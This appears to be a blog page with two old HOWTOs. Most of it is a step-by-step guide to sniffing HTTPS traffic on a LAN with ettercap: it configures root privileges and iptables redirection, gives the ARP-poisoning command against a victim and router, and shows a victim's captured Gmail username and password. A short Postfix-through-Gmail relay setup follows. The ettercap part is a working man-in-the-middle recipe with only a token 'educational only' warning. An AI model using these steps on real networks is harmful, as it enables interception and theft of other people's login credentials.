HOWTO : Sniffing SSL with ettercap on Back|Track 5

*** WARNING : This HOWTO is for educational only. Do NOT carry out the following steps on a LAN that without permission. Otherwise, you will be put into the jail. ***

Sniffing SSL (https) traffic on LAN with ettercap by mean of Man In The Middle (MITM) attack.

Step 1 :

nano /etc/etter.conf

Make the change as the following :

[privs]
ec_uid = 0    # nobody is the default
ec_gid = 0    # nobody is the default

Uncomment the following :

# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Step 2 :

Victim's machine is at 192.168.1.100 while the router is at 192.168.1.1. Attacker is at 192.168.1.115.

ettercap -TqM arp:remote /192.168.1.100/ /192.168.1.1/

The outcome of the display is as the following :

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Dissector "dns" not supported (etter.conf line 72)
Listening on eth0... (Ethernet)

eth0 ->    08:00:27:FF:95:DB    192.168.1.115 255.255.255.0

Privileges dropped to UID 0 GID 0...

  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)...

* |=================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 192.168.1.100 70:1A:04:FF:0A:9A

GROUP 2 : 192.168.1.1 00:1E:10:FF:A7:E2
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

Step 3 :

At the victim's machine, open a browser, such as Firefox and go to GMail. You will be asked to accept an untrusted certification. Just accept the certificate and you will be directed to the login screen of GMail.

When the victim login to the GMail, his/her username and password will be logged on the Attacker's machine. The display will be similar to the following :

HTTP : 74.125.71.106:443 -> USER: samiux PASS: password INFO: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http://mail.google.com/mail/?ui=html&zy=l&bsv=llya694le36z&s

You will find that USER: samiux and PASS: password.

Remarks :

To delete the untrusted certificate on Firefox at victim's machine : "Edit" -- "Perference" -- "View Certificate List" -- "Server". You will find something like the following. You just delete them all.

Thawte Consulting (Pty) Ltd.
www.google.com www.google.com:443 forever 2011-09-21
www.google.com mail.google.com:443 forever 2011-09-21

In general, GMail will not ask you to accept any certificate, especially untrusted one.

That's all! See you.

HOWTO : Send Mail to GMail by Postfix on Ubuntu Server 10.10

You cannot send any mail to GMail from you mail server, unless you set GMail server as your SMTP server.

Step 0 :

Install the Ubuntu Server 10.10 and select Mail Server when install.

Step 1 :

sudo nano /etc/postfix/transport

Append the following line.

*     smtp:[smtp.gmail.com]:587

Step 2 :

sudo nano /etc/postfix/sasl/sasl_passwd

Append the following line.

[smtp.gmail.com]:587     samiux@gmail.com:password

Step 3 :

sudo nano /etc/postfix/main.cf

Add or make the change of the following lines.

relayhost = [smtp.gmail.com]:587
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl/sasl_passwd
smtp_sasl_security_options = noanonymous
smtp_tls_CAfile = /etc/postfix/cacert.pem
smtp_use_tls = yes
mynetworks = 192.168.0.0/24 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128

Step 4 :

cat /etc/ssl/certs/Thawte_Premium_Server_CA.pem | sudo tee -a /etc/postfix/cacert.pem

Step 5 :

sudo postmap /etc/postfix/transport
sudo postmap /etc/postfix/sasl/sasl_passwd

Step 6 :

sudo /etc/init.d/postfix restart

That's all! See you.